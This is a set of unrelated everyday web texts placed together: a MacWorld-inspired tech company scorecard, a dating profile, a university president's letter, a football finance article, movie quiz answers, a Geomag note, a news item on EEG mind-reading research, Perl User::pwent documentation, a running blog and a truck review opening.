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Last week I attended MacWorld for the very first time. I was the only attendee running Windows Vista on a Dell notebook. I had to avoid Jobs just so I didn't get kicked out of the event. If he's quick to tell a fan how rude they are for requesting a picture, imagine what he would have told me if he would have seen me with a Dell!
The Jobs Keynote was absolutely awesome. One of my favorite announcements was the major upgrade to Apple TV with HD Movie rentals. To me, this completely eliminates the need for either HD-DVD or Blu-Ray. The MacBook Air was also a phenomenal product. Unbelievably thin!
But the MacWorld event was far from perfect. In fact, when compared to Microsoft events it was the worst event I had ever attended. I have been to quite a few Microsoft events including PDC, TechNet, Mix, WWPC and several internal events and I had never seen anything as poorly organized as the MacWorld event. Everything from the MacWorld web site, to event guides, schedules, registration, food and staff was the worst I had ever seen. Considering how insanely great Apple products are, I was expecting an Apple-like quality to the event, which did not exist. The event was so amateur in flow and feel that a typical Microsoft event attendee would have guessed this was the first event of its kind. Even then, it would have been inexcusable.
That triggered me to think about a scorecard for four of the main tech companies in our industry: Apple, Microsoft, Dell and Google. Each of these companies is exceptional at something, but none of them are great at all. Without any scientific data to back my claims, here is how I would personally rate the best company in each category:
Operating Systems – Apple's Tiger and Leopard both outshine Vista for a number of reasons: performance, overall system responsiveness, included user apps, system stability and better search. As an operating system, Apple's OS X is clearly better than Vista.
Notebooks – If Apple's notebook designs, magnetic power cords, slot load DVDs, weight or ultra small size had not won you over, the fact that each of Apple's notebooks outperform the others in their class should get you to notice. The MacBook Pro was named the fastest Windows notebook reviewed by PC Magazine! There's no question Apple makes the best Notebooks.
Desktops – Although Apple's desktop offerings are somewhat limited with the iMac, Mac Mini and Mac Pro, there aren't comparable systems that come close in packaging, size and performance in any of the categories. Dell's XPS All-in-one is a blatant copy of the iMac. It's too little too late.
Servers – Dell's server line still outshines Apple in filling the variety of needs as well as beating Apple on price and the badly needed services for high-availability.
Hardware Variety – Dell is the hands down winner in providing the largest variety of hardware. Ironically, this could be a double-edged sword for them making it much more difficult to improve a product line that contains hundreds of products vs. just dozens.
Hardware Configurability – Again, Dell comes out ahead of Apple on configurability, but once again, this is a double edged sword. While it's great that Dell offers 10 different video cards, the lack of focus ensures a hit or miss when it comes to drivers.
Product Aesthetics – I don't need to comment on this one. Most companies couldn't spell Aesthetics until Jobs came back to Apple.
Web Applications – Google is the clear winner when it comes to web applications for a variety of reasons: super fast pages, no clutter, ads that you don't mind, always available and free. Microsoft's MSN and other web offerings have always fallen short on all of those criteria.
Developer Tools – There's no question that Microsoft takes the cake on this one. The Visual Studio product line has been a slam dunk winner with developers, thanks in large part to Scott Guthrie. Scott is one of the only remaining executives at Microsoft who gets it, but the rest of the world is catching up fast and Scott is fighting an uphill battle with the rest of gang at Microsoft.
Developer/Partner Programs – Microsoft again clearly has the better developer and partner programs with Empower ISV, Certified and Gold partnerships. They also have a longer history of being relatively nice to partners when compared with Apple (or even Oracle). Even Steve Jobs admitted that Microsoft has always been better at partnering that Apple. The shaky iTunes partnerships are a great example of Apple failing to keep even large partners happy.
Conferences & Events – If you've ever been to a Microsoft event, you know that registration is fast, organization of class schedules and web site management of individual schedules rocks and the abundance of food, drinks and snacks are nearly overboard. By contrast, I have nothing good to say about the MacWorld logistics and with the exception of the MacWorld keynote, the rest of the contents are on par.
Innovation – Apple is the most innovative large company in existence today. They are the only company that doesn't shy away from building everything that goes into their products, both hardware and software. Google and Microsoft have stuck with software while Dell has stuck with hardware and even with the focus, none of them have done a great job.
Customer Service – This was a tough one. Microsoft and Google are clear losers in this regard. For me, the race was between Apple and Dell. On the consumer side, Apple wins hands down because Dell has outsourced its support to an incompetent company. On the business side, if you have the right account, Dell win beats Apple, but since Dell only wins IF you happen to be a valued customer, I had to give it to Apple.
Customer Comes First – Microsoft is the only company that puts customers first at all cost. They clearly listen to their customers and they react fast. None of the other companies come even close. Google and Apple are too closed from the outside to put customers first and in Apple's case, they have clearly shown they don't mind slapping a few customers here and there. Dell does a decent job as witnessed from the variety of computer lines they offer.
Return Policy – Dell takes the prize on return policies. No hassle, 30 day returns. In contrast, if you take a brand new computer back to an Apple store that you bought earlier that day, they'll want to charge you a 10% restocking fee. Not cool.
Warranty Policy – Again, Dell's warranty is significantly better and they actually send you replacement parts to fix your computer. Apple expects customers to send back their machines. Please!
Corporate Transparency – Microsoft is by far the most transparent of the companies with the most employee bloggers and for the most part, they are free to say what they want. Microsoft even has dedicated staff that participate in user forums, help user groups and other communities around their products. None of the others come even remotely close.
Employee Accessibility – Again, Microsoft's employees are the most accessible. They are the most likely to return an email, escalate an issue or even take your phone call.
Passion – The measure for a company's passion has to come from the users of their products. Clearly Apple has the most passionate users who often would be willing to part with a limb than with their Apple products.
Environment – This was a tough call. With Google actively promoting green technologies, using solar power for 30% of their electrical needs and subsidizing the purchase of hybrid cars for their employees, I could have easily called it a tie with Apple. However, I decided Apple has a much more difficult job of being environmentally friendly and they have taken a very proactive approach to the issue with their products, designs, packaging and even an environmental activist on their board (Al Gore).
Overall – If I could just own 1 product from any of the above companies, my decision would only be amongst Apple products. Nobody else would even get a consideration. It's an easy choice to pick Apple as the overall winner amongst tech companies who are doing [most] things right.
So if you're wondering why I still walk around with a Dell notebook, the answer is I was waiting for MacWorld to make sure I purchase the right product. My MacBook Pro is on its way.


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Ryan "Mickey" McLean, 32
Bartender at Flour
The perfect date: I don't think the perfect date necessarily has to do with how big or grand or how expensive or how elaborate it is. Having coffee could be the perfect date if it's with the right person. I think it has a lot more to do with the person than the activity.
Something most people don't know about me: My first cousin twice removed is Jim Crowley, who was one of the Four Horsemen at Notre Dame. I don't even know a whole lot about it — I just know that for college football fans and certainly Notre Dame fans, when I tell them that, they think it's a huge deal.
My passion: My passion I think is my friends and my family. It's what got me into cooking originally. I like for everyone around me to have a good time, and a lot of times that's easy to do through food. Even now with bartending, the jobs I seem to like most are the ones that make people happy. And I like everybody around me to have a good time. I've always enjoyed having people at my home, cooking for them, making drinks and showing hospitality.
Biggest turn-on: Confidence. Turn-ons to me are more mental things than they are physical things. Confidence, honesty. Loyalty is something that's very important to me.
Biggest turnoff: Pessimism. People that are always down. Negativity is always a huge turnoff.
I own too many: Pairs of argyle socks
My favorite ... place in Cleveland: Rockefeller Greenhouse. Right in Case's backyard. For years it was a propagation greenhouse for the plants in the city of Cleveland. They still maintain it for field trips and they do a lot of wedding photography and stuff. They have different sections: one whole area is ferns; one whole area is tropical plants. Really, it's a hidden gem because nobody knows about this place. There's never anybody there, and it's free. ... book: I have a lot of books, all of which are cookbooks. I don't have a favorite book. ... film: The Big Lebowski. Awesome, awesome. I have it on DVR, so a lot of times I'll just turn it on when I'm going to bed. ... music: I've been listening to a lot of Van Morrison and Counting Crows, Tribe Called Quest. My musical tastes are pretty much all over the board. It changes all the time. ... sports: I bleed pinstripes, New York Yankees. Which is not popular in this town. I'm from New York, and that's what I grew up with. ... TV Show: I watch just about no TV. The only show that I TiVo and consistently watch is Sons of Anarchy. That's the only thing I watch — that and Jimmy Fallon. ... vacation destination: My favorite is Destin, Fla., because it's a place that I went year after year with family. There are a lot of great memories there. Even though it certainly isn't the most tropical place, the most beautiful or the most adventurous place I've ever been, it's got a place in my heart. So that's probably my favorite. ... blog: Cleveland Foodie ... dessert: Baklava. Anatolia Café on Lee Road is good.
My usual hang-out: These days? Home. I really don't go out as much as I used to. On occasion, though, I like some of the neighborhoods in Cleveland so I like Tremont, Ohio City, and those areas.
In high school I was ... Ah, high school. I was a good kid. I think I thought I was a lot cooler than I actually was.
My personality: I think sometimes my personality, until people get to know me, can come off as being quiet. I think a lot of times people get the wrong impression of me.
My best feature: Knowing and admitting when I'm wrong. I'll be the first person to admit when I'm wrong.
My bad habit: Procrastination. I'm more of "the eleventh hour" and "work under pressure" type.
My first kiss: At 14, I think. Movie theater. Classic.
My guilty pleasure: Naps
Go out or stay in? It depends. I wouldn't say I prefer either. More often than not I stay in or stay close to home.
Early, late or right on time: Either a little early or right on time. I can't stand being late. Every once in a while things come up, but when it comes to any sort of obligation, I'm either early or right on time.
Dogs or cats: Ah, dogs. ... I don't have time; it's not fair. I'd love to have a dog, but I realize it would be penned up in the house all day. I can't stand cats. I'm allergic, and I don't like them.
Dancing ... yes or no? I would say I like to dance. I'm also a realist and know that I am awful.
Twitter ... yes or no? @ryanmickmclean
My longest relationship: Four years
How would my ex describe you: Of the women I've dated, there's really no hostility with any of them. Anybody that I've ever dated not only would but does say good things about me.
My No. 1 dating rule: I don't date Red Sox fans.
My deal-breaker: Couldn't marry a smoker
I hate when a date ... tells me she's a vegetarian.
I love when a date ... shares her dinner, shares her food.
Worst pickup line: Never really heard 'em, don't use 'em. I mean, they're all the worst. I mean, if you're resulting to a pickup line...
Roses or chocolates: Roses, but I don't know if I've ever given roses. Certainly flowers. A lot of flowers, but I think roses are so cliché.
Beer, wine or martinis: Wine. I'm starting to get more into wine. I actually didn't drink for like five years. I didn't drink anything. But just in the past few months, I've been starting to get into wine a little bit more.
If I could date anyone: Evangeline Lilly. I think she was in Lost. I've never seen the show, but I've seen her. Tall, brunette, she's cute.
On a first date, I never: Cook. I never cook on a first date. I like cooking for women, but never on a first date.
Best place to meet someone: I think the best places are the places you least expect it. A lot of times, especially when you're single, you go out to a bar or a club or a restaurant or something, and in the back of your mind, you're looking for somebody, and those are the stereotypical places to meet somebody. And I think the best places are at the grocery store or some place random.
My take on Cleveland's single scene: Pretty good. I think there's a lot of young people in this area. Unfortunately, it seems a lot of them are flocking, which is too bad. I like Cleveland. I stay here because I like it. I don't really have any connection or reason to stay here, but I enjoy it.
Most unusual place I've met someone: The airport.
What I find sexy about myself: Uhh, I don't know. What do I find sexy about myself? I don't think I do. ... I don't know. I don't even know how to answer that question. I have no idea. ... How do you even answer that? What the hell kind of question is that? ... Sense of humor.
Why I think I'm single: Because I'm not willing to settle.

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Dear Members of our University Community:
Having just celebrated Thanksgiving, I find myself especially grateful for the privilege of working with all of you to advance Penn this year. As we rapidly approach the end of 2010, I thank every member of our community for making this a most remarkable year of achievement in our classrooms, laboratories, clinical practices, athletic fields, local community, and around the world.
In September, at Convocation on College Green, I shared my own answer to the question our Admissions Office requires every incoming freshman to answer: Why Penn? For me, it's because Penn's dreamers become the world's doers. Just this year alone, members of our Penn family have inspired young minds; created art, engineering, and architectural masterpieces; developed life-saving medical treatments; nursed the sick back to health; built businesses from the ground up; and positively impacted our campus, West Philadelphia, and communities around the world. Penn's distinctive strength is that we encourage the most passionate, talented individuals to collaborate and to put their integrated knowledge to work for humanity.
How does Penn make all of this possible? With extremely strong support from our faculty, students, staff, Trustees, Overseers, alumni, parents, and friends, we have been able to withstand the worst of the recent economic turmoil and sustain our commitment to eminence by focusing our efforts on the University's highest priorities. Our dedicated faculty and outstanding academic programs continue to attract the world's most talented and diverse students. This fall, Penn Admissions received the largest pool of early decision applications ever recorded by the University: 4,557 applications for the Class of 2015, representing an 18 percent increase over last year's record numbers. The percentage of underrepresented minorities rose at an even greater rate, and the academic quality of the early decision pool is also the most impressive ever. This speaks highly of the University's reputation among the nation's top-ranked high school students and their keen desire to secure a place at Penn.
I know that you share my pride in our ongoing commitment to ensuring that a world-class education is affordable and attainable for all of our students, regardless of their economic circumstances. Despite a challenging environment, we have increased our financial aid budget by 78 percent over the past five years, and in this academic year the average freshman grant totals nearly $36,000. Perhaps most remarkably, as a result of our breakthrough financial aid initiatives, a Penn undergraduate education for aided students now costs on average less than it did five years ago.
We also have focused on improving access and affordability for our graduate and professional students. Graduate student stipends are up 28 percent from 2005, with the minimum stipend now reaching $20,200. Base SAS stipends (including summer stipends) are up 65 percent from 2005, now standing at $25,990.
Inside and outside the classroom, our students continue to distinguish themselves, and Penn, through extraordinary creativity, innovation, and drive. In addition to many other recognitions and prestigious awards, two of our seniors recently were awarded Marshall Scholarships. Each year, more than a thousand young men and women participate in programs or seek guidance at our Center for Undergraduate Research and Fellowships. Through work with CURF, these undergraduates become active participants in the University's robust research enterprise and contribute to the pursuit of knowledge long before graduation. Complementing their academic prowess, our student-athletes have dominated their opponents this fall, bringing home Ivy League Championships, advancing to NCAA tournaments in men's soccer, women's soccer, and volleyball, and securing the Collegiate Sprint Football League Championship. Our football team also clinched the Ivy League title for the second straight season—a feat that has occurred only twice before in the 55-year history of the Ivy League. These, of course, are just a few examples of our talented students' extraordinary achievements.
Our exceptional students deserve the best faculty, and attracting and retaining the world's most renowned teachers and scholars remains a top priority, as does our commitment to providing critical support to all faculty as they advance interdisciplinary teaching and research. Our campus is now home to 10 Penn Integrates Knowledge (PIK) professors, and in 2010 we secured endowments for six more PIK positions. With the support of Penn Medicine, we also have five additional PIK chairs for the neurosciences, which will enable us to recruit outstanding faculty working in this pathbreaking field.
Because diversity and excellence in higher education go hand in hand, we have increased the number of underrepresented minorities among standing faculty by 22 percent, and the number of women by 10 percent, since 2005. By welcoming a spectrum of differences in cultures, backgrounds, and perspectives in every arena of the University, we are creating a community that not only respects but also celebrates the contributions that every individual makes at Penn and beyond.
In 2010, we received almost $1 billion in research awards, including $135 million in federal stimulus funding. Penn's stimulus funding was among the highest received by any private university in the nation and reflects the remarkable strength of our faculty and research enterprise, as well as our dedication to making the world a safer and healthier place for everyone to live.
Thanks to the generous support of Penn's many alumni and friends, our commitments to the Making History campaign now stand at $2.85 billion with an equally remarkable $2.5 billion in cash receipts. We are on track to reach our $3.5 billion goal by 2012. Even in these difficult economic times, the rate of giving to the campaign has remained high, and we are tremendously grateful for the steadfast support our donors have shown for our core priorities. Our campaign has been supported by gifts both large and small; fully one-quarter of all donations to Making History have been less than $100,000, a wonderful testament to the confidence that Penn alumni have in the bright future of their alma mater.
We have made especially strong progress in increasing the amount of student financial aid supported by the endowment. In FY2005, the undergraduate financial aid endowment generated $8.7 million in income, which represented just over 11 percent of total spending on undergraduate financial aid. In FY2011, having instituted the strongest financial aid policy in Penn's history, the endowment provides double that proportion, 22 percent of total undergraduate aid spending, or approximately $30 million.
These past few years have been financially challenging for every institution of higher education in America, and I want to again thank the Penn community for carefully stewarding our resources. Working together, we have already saved more than $83 million in capital projects, salary and benefits costs, and reimbursable expenses. We are on track to achieve our goal of $100 million in cost-containment savings by June 30, 2011.
We must, however, remain mindful of the economic and political realities facing our nation and the Commonwealth of Pennsylvania. Governor-Elect Tom Corbett will soon be confronted with a projected $5 billion state budget deficit. The end of federal stimulus funding and pressures to control spending in Washington are likely to impact government-sponsored research funding. We must continue to exercise the prudent financial management that has been one of our core strengths.
Thanks to the strong leadership of our Office of Investments and our Investment Board, Penn's endowment has performed well. During the worst of the economic downturn in FY2009, we took proactive steps that held Penn's investment losses to 15.7 percent, as compared to a 26 percent decline in the S&P over the same period. In FY2010, we enjoyed strong performance with investment returns of 12.6 percent, which significantly exceeded our composite benchmark return of 9.0 percent. Our investment management strategies now place our returns in the top-third for large endowments over the past 10 years.
I hope all of you will take some time to walk across campus to see the inspiring physical improvements that are underway. The projects—all on budget, on schedule, and in various stages of completion—are steadily achieving the visionary goals that we established in our Penn Connects campus development strategy and our ambitious Climate Action Plan.
We recently opened the beautiful George A. Weiss Pavilion at Franklin Field. In a few months, work will begin on Shoemaker Green (the current location of our tennis courts), which will become a 3.75-acre gateway park that will link Locust Walk to the eastern edge of campus. There our 24-acre Penn Park will open next fall, creating new tennis courts, athletic fields, and elevated walkways and green spaces for the entire community to enjoy. In November, work crews installed the final steel beam in the Law School's new Golkin Hall. The 40,000 square foot addition will include a state-of-the-art courtroom, a 350-seat auditorium, and a rooftop garden. Its scheduled completion is January 2012. In the months to come, we will break ground on the Krishna P. Singh Center for Nanotechnology on Walnut Street near 33rd Street, which will become a beautiful new eastern gateway to our campus, and we also will celebrate the opening of Penn Medicine's revolutionary new Translational Research Center.
One year after unveiling the Climate Action Plan, we have made significant strides toward our goal to become the greenest urban campus in America. We are well along the way in increasing the green space on our campus by 20 percent. Our lovely new Horticulture Center at the Morris Arboretum is on track to receive platinum LEED certification, the highest rating possible. The Weiss Pavilion and our recently renovated Music Building are also LEED-certified buildings, as we are planning each one of our new buildings to be.
Why could Penn accomplish so much this past year, through such tough times? I have no doubt that it is because of the exceptional work that each of you does every day to advance Penn's core missions of teaching, research, and service. Your combined and collaborative efforts distinguish Penn by producing the most innovative knowledge and putting it to work for the world. Because of these achievements, along with our fervent commitment to do even more to advance Penn's eminence in 2011, we all can take immense pride in being part of the Penn family.
Thank you again for making my Thanksgiving especially meaningful. I wish you and your families a joyous holiday season and New Year.
Amy Gutmann


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By Ben Hayward | Spanish Football Writer
If Deloitte's annual rich-list for football's highest earners were used to form a 20-team European Super League, Spain would have just two representatives.
For the fourth year running, Real Madrid and Barcelona top the table for football club income over the previous 12 months, with the capital club out in front for the eighth edition in a row with an overall income of over €500m (they are the first team to achieve this), followed by their fierce rivals (with €483m). Encouraging numbers for Castilians and Catalans, but damning statistics for the rest of La Liga.
Tellingly, Valencia dropped out of the top 20 altogether this year, to be replaced by a team currently hovering just above the relegation zone in the Premier League, Newcastle. Los Che finished third in La Liga for each of the last three seasons, remain the last team from outside Spain's big two to win the Primera Division title (in 2002 and 2004) and are the only other side from the country to compete in a European Cup or Champions League final (2000 and 2001) since Atletico Madrid in 1974. Yet the Costa Blanca club are currently crippled by debt, were forced to temporarily suspend building of their Nou Mestalla stadium, have sold most of their finest footballers in recent years (including David Villa, Juan Mata, David Silva and Jordi Alba) and have barely made a ripple in the Champions League over the last few seasons. On top of that, Valencia were thrashed 5-0 at home to Madrid on Sunday. Despite being the 'best of the rest' in recent seasons, they simply cannot compete.
After 20 rounds of La Liga, Atletico Madrid are in second, but Diego Simeone's side will be forced to part company with star striker Radamel Falcao in the summer to clear debts and are outside the top 20 in this list, too.
Among the top 20 richest teams, seven come from England (Manchester United, Chelsea, Arsenal, Manchester City, Liverpool, Tottenham and Newcastle), five from Italy (AC Milan, Juventus, Inter, Napoli and Roma), four from the Bundesliga (Bayern Munich, Borussia Dortmund, Schalke and Hamburg), two from La Liga (Madrid and Barca) and two more from France (Olympique de Marseille and Olympique Lyonnais).
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Madrid lead the elite for the eighth year in a row and have become the first team to surpass €500m in a 12-month period, thanks to a successful season on and off the pitch in 2011-12. The capital club boosted broadcast income with a series of lucrative friendlies in the United States, China and Kuwait, among other places, as well as increasing matchday revenue and growing their commercial coffers after they extended their kit deal with Adidas through to 2020.
Shirt sponsorship at the capital club, however, is up for renewal in 2013 and Deloitte believes a new contract will see the Spanish side stay on top of next year's rich-list. "Given the value of recent shirt deals negotiated by their European peers," the group noted, "Real Madrid may expect further revenue growth with a new deal. These factors, combined with the planned expansion of the Bernabeu, mean Madrid are strongly placed to retain their top position in the Money League, for a record breaking ninth year and beyond."
Barcelona, meanwhile, saw a slight dip in broadcasting revenue last season, partly because the Catalans missed out on a place in the final of the Champions League, which they won in 2010-11. Total income, however, was well up on the previous campaign as Pep Guardiola's side picked up four out of six trophies in his last season as coach at Camp Nou, including the Club World Cup. Commercial revenue increased significantly, largely thanks to the club's shirt sponsorship deal with Qatar Sports Investments. As part of that deal, Qatar Airways now adorns the Blaugrana jerseys, the first time in the club's history that a for-profit organisation has been afforded sponsorship space on the famous red and blue shirt.
Deloitte noted: "Midway through the 2012-13 campaign, Barcelona look well-set to regain their La Liga title from their arch-rivals Real Madrid, and continued on-pitch success will be crucial as they look to bridge the €29.6m gap at the top of the Money League. Discussions are ongoing concerning the redevelopment of their historic Camp Nou home, and with Real Madrid currently planning enhancements to the Bernabeu, the dominance of Spain's 'big two' at the top of the Money League may continue for some time yet."
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Real Madrid's annual income is in excess of €100m above that of Manchester United, their rivals in the last 16 of this season's Champions League, while Barca bring in around €225m more than AC Milan, the team the Catalans will face in the second round of European football's premier club competition next month.
But those margins remain small in comparison to other sides in Deloitte's ranking. Valencia, now in 21st position overall, bring in €111.1m (an incredible €401.5m less than Madrid), while Atletico (in 23rd) amassed €107.9m – little over half of Real's revenue from broadcasting alone.
Spain's sides are free to negotiate their own deals from television rights, which allows Madrid and Barcelona to claim a huge cut of the overall share, while other big clubs such as Valencia and Atletico bring in the equivalent of a lesser side in England, Germany or Italy.
"If you look at the list, Spain isn't represented like the other [big] leagues," financial expert Jose Maria Gay de Liebana told Goal.com after last year's Deloitte rankings.
"Valencia, for example, generate less money through television than a smaller team from England. In other leagues, clubs are compensated equally," he said. "Money in England and Germany, for example, is distributed fairly and logically, whereas Madrid and Barca are allowed to monopolise the income in Spain.
"That has seen them overshadow their rivals at home – and the same thing is happening on a European level."
"It is an impressive achievement for Real Madrid to have surpassed €500m in revenue in a single year. Real have led the way in the phenomenal rate of revenue growth among the world's top clubs"
Dan Jones, Partner in the Sports Business Group at Deloitte |
Little has changed.
So while the rich get richer in Spain, the poor have become poorer. Valencia and Atletico Madrid at least feature just outside the Deloitte Top 20, but there is no place for any other Spanish side within the wealthiest 30 clubs for the 2011-12 timescale. That means Fulham, Sunderland, Galatasaray and Corinthians, to name a few, earn more than Malaga, Athletic Bilbao and the rest of La Liga. The gap is growing into a vast vacuum and with this year's figures in mind, it is a wonder Atletico can compete at all.
Indeed, it may be a while before anybody else can challenge, because as Real Madrid and Barcelona continue to boost their remarkable revenues, it is at the expense of their domestic rivals: the big boys' financial force casts a significant shadow over the rest of the Primera Division, which remains largely immersed in depression and debt. This, then, is a story with two very different sides, as while the top two grow ever stronger at home and abroad, La Liga just gets weaker and weaker.
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3. American Psycho (Harron)
4. Wonder Boys (Hanson)
5. Traffic (Soderbergh)
6. The Virgin Suicides (Coppola)
7. Dancer in the Dark (Von Trier)
8. Memento (Nolan)
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1) Best Movie of 2010
With a few outliers remaining to be seen, at this point it looks like I'm going to have to follow the herd and go with The Social Network.
2) Second-favorite Roman Polanski Movie
3) Jason Statham or Dwayne "The Rock" Johnson
The Rock is a likeable enough guy, but Statham has Snatch and the knowing homoeroticism between himself and Stallone in The Expendables that carries on the proud tradition of Tango and Cash. I'll go with Statham even though my girlfriend would probably leave me for him.
4) Favorite movie that could be classified as a genre hybrid
5) How important is foreknowledge of a film's production history? Should it factor into one's reaction to a film?
A movie has to be considered in the context of the time and place that produced it, but direct behind-the-scenes info seems peripheral to the movie's success or failure.
6) William Powell & Myrna Loy or Cary Grant & Irene Dunne
Cary Grant & Irene Dunne
7) Best Actor of 2010
Jeff Bridges, True Grit
8) Most important lesson learned from the past decade of watching movies
Despite the conventional wisdom that dumb is the safest commercial bet, most people really do want to see a good story told smartly when they go to the movies. It's just harder to sell smart than stupid.
9) Last movie seen (DVD/Blu-ray/theater)
On Blu-Ray, Natural Born Killers - so very 90s, but still effective as sensory overload, particuarly in hi-def. In theatres, Blue Valentine - painful to watch but brilliantly acted and beautifully shot.
10) Most appropriate punishment for director Tom Six
I suspect Six is a sadomasochist, so I'm not sure what kind of punishment he wouldn't enjoy. Perhaps to be met with indifferent shrugs?
11) Best under-the-radar movie almost no one else has had the chance to see
Black Moon, Louis Malle's 1975 post-apocalyptic retelling of Alice in Wonderland. Still unavailable on R1 DVD (it would be perfect for Criterion).
12) Sheree North or Angie Dickinson
Angie Dickinson
13) Favorite nakedly autobiographical movie
All That Jazz
14) Movie which best evokes a specific real-life place
I agree with Anonymous - the 42nd Street I've visited in my lifetime is nothing like the one in Taxi Driver, but thanks to Scorsese I feel like I've been there too.
15) Best Director of 2010
David Fincher, The Social Network
16) Second-favorite Farrelly Brothers Movie
There's Something About Mary
17) Favorite holiday movie
My new favorite is Elf.
18) Best Actress of 2010
Natalie Portman, Black Swan
19) Joe Don Baker or Bo Svenson
My my my my Mitchell!
20) Of those notable figures in the world of the movies who died in 2010, name the one you'll miss the most
Dennis Hopper
21) Think of a movie with a notable musical score and describe what it might feel like without that accompaniment.
Without Cavalleria Rusticana, Raging Bull would be even bleaker than it already is.
22) Best Screenplay of 2010
The Social Network
23) Movie You Feel Most Evangelistic About Right Now
Synecdoche, New York. I could talk someone's ear off about everything I think and feel for hours or I can just pop that movie in the DVD player and spare us both a lot of time.
24) Worst/funniest movie accent ever
Thandee Newton as an alien in W.
25) Best Cinematography of 2010
Shutter Island
26) Olivia Wilde or Gemma Arterton
Olivia Wilde
27) Name the three best movies you saw for the first time in 2010 (Thanks, Larry!)
Fearless, Modern Romance, Zoolander
28) Best romantic movie couple of 2010
Ben Stiller and Greta Gerwig, Greenberg. They're so obviously, uncomfortably wrong for each other, and yet they're probably meant to be together.
29) Favorite shock/surprise ending
30) Best cinematic reason to have stayed home and read a book in 2010
A Nightmare on Elm Street (2010). I actually fell asleep in the theatre (IRONY).
31) Movies in 2011 could make me much happier if they'd only ______________
retire the orange/blue trend in color timing.


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How did those guys at Geomag come up with the new bar length? Here's one possibility - first let's
take some careful measurements:
So, the geometric length turns out to be: 69.94mm
Now, a double-length Geomag original bar has geometric length: 65.78mm
and the ratio between these two numbers is: 0.94 - remember that!
Look in wikipedia to get the circumradius of the icosahedron
it's 1/4sqrt(10+2*sqrt(5)) = 0.95106
Coincidence? maybe.
Some calculations give away that a double-length Geomag classic rod is
just 0.74mm short of the required length to act as the radius element
for a starburst icosahedron. And 0.8mm is 1/32" which is just the size of
some little magnetic shims I happen to have handy.
Here's a detail of 12 rods arranged around a ball with icosahedral symmetry.
Should you wish to try this at home, you can manufacture shims easily by
using a hole-punch on one of those magnetic stickers you probably have on the fridge: the
disks ejected by the hole punch are just the right size for Geomag bars.
Here's an example: http://www.flickr.com/photos/karlhorton/404972512/in/set-72157594564548492/


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Guess what? Military funds mind-reading science
Here's a mind-bending idea: The U.S. military is paying scientists to study ways to read people's thoughts. The hope is that the research could someday lead to a gadget capable of translating the thoughts of soldiers who suffered brain injuries in combat or even stroke patients in hospitals.
But the research also raises concerns that such mind-reading technology could be used to interrogate the enemy.
Armed with a $4 million grant from the Army, scientists are studying brain signals to try to decipher what a person is thinking and to whom the person wants to direct the message.
The project is a collaboration among researchers at the University of California, Irvine; Carnegie Mellon University; and the University of Maryland.
The scientists use brain wave-reading technology known as electroencephalography, or EEG, which measures the brain's electrical activity through electrodes placed on the scalp.
It works like this: Volunteers wear an electrode cap and are asked to think of a word chosen by the researchers, who then analyze the brain activity.
In the future, scientists hope to develop thought-recognition software that would allow a computer to speak or type out a person's thought.
"To have a person think in a free manner and then figure out what that is, we're years away from that," said lead researcher Michael D'Zmura, who heads UC Irvine's cognitive sciences department.
D'Zmura said such a system would require extensive training by people trying to send a message and dismisses the notion that thoughts can be forced out.
"This will never be used in a way without somebody's real, active cooperation," he said.
John Pike, director of GlobalSecurity.org, a Virginia-based defense research firm, said the technology is still too nascent to be of practical use for the military.
"They're still in the proof of principle stage," Pike said.
A message left with the Army was not immediately returned Friday. (AP, 8.15.2008) http://www.lasvegassun.com/news/2008/aug/15/guess-what-military-funds-mind-reading-science/
On the Net:
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User::pwent - by-name interface to Perl's built-in getpw*() functions
use User::pwent;
$pw = getpwnam('daemon') or die "No daemon user";
if ( $pw->uid == 1 && $pw->dir =~ m#^/(bin|tmp)?$# ) {
print "gid 1 on root dir";
use User::pwent qw(:FIELDS);
getpwnam('daemon') or die "No daemon user";
if ( $pw_uid == 1 && $pw_dir =~ m#^/(bin|tmp)?$# ) {
print "gid 1 on root dir";
$pw = getpw($whoever);
This module's default exports override the core getpwent(), getpwuid(), and getpwnam() functions, replacing them with versions that return "User::pwent" objects. This object has methods that return the similarly named structure field name from the C's passwd structure from pwd.h; namely name, passwd, uid, gid, quota, comment, gecos, dir, and shell.
You may also import all the structure fields directly into your namespace as regular variables using the :FIELDS import tag. (Note that this still overrides your core functions.) Access these fields as variables named with a preceding pw_
in front their method names. Thus, $passwd_obj->shell()
corresponds to $pw_shell if you import the fields.
The getpw() funtion is a simple front-end that forwards a numeric argument to getpwuid() and the rest to getpwnam().
To access this functionality without the core overrides, pass the use
an empty import list, and then access function functions with their full qualified names. On the other hand, the built-ins are still available via the CORE::
While this class is currently implemented using the Class::Struct module to build a struct-like class, you shouldn't rely upon this.
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First real live outdoor hill workout accomplished. (PS I do have a killer hill workout here for the treadmill if you want to check it out).
You would think that I would have remembered to charge my garmin after it died during yesterday's run but once again, I did not.
Luckily I had my phone with me and used Strava to record my run but I am never sure how accurate it is.
Isn't it annoying when you drive up the hill that you ran and wonder why you thought it was so hard? I promise it doesn't look steep but coming from my sea level lungs and flat running surface only running legs, running this hill was hard.
The workout was:
20 minute warm-up (running at a 7:35ish pace)
Hill repeats: 8 times on a moderately sloped hill (6% grade) lasting 60 seconds with the jog back down the hill as recovery. The effort for going up will be hard, but not all out.
20 minute cool-down (running at a 7:30ish pace)
The biggest thing for me to successfully run up a hill fast(ish) is to pump my arms hard. It is impossible (for me) to keep running slow if my arms are pumping hard. Your legs will follow your arms, keep them moving.
Some more tips for running hills: Take shorter strides with a fast turnover, keep your head and eyes looking ahead (not down but not all the way up the hill), lean slightly forward!
My nieces watch Brooke's baby monitor when she is napping and if she moves then they think she is awake and go on in and wake her up:)
I didn't even have to teach her how to use the camera for Brooke's photoshoot.
Lunch was a salad with rotisserie chicken (the best), frozen veggies (heated up) and sweet baby ray's for dressing. Triscuits are good but Triscuits with string cheese are really good.
Name that movie:
I am working on a "Run Happy" playlist! I would love it if you would submit your ultimate "Run Happy" songs choices and create a Spotify playlist perfect for those long summer runs. Once I get them all in I will send Brooks some of them and they will create a master playlist that they will feature on the Brooks blog!!!


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Car Review: 2013 RAM 1500 Laramie Longhorn Edition Crew Cab 4×4
For those who are in the market for a full-size pickup truck, don't overlook the 2013 RAM 1500 Laramie Longhorn Edition Crew Cab 4×4, as this could be one of the best trucks ever built. Yes, that's a bold statement, but the folks at RAM have been doing work to design and build something special.
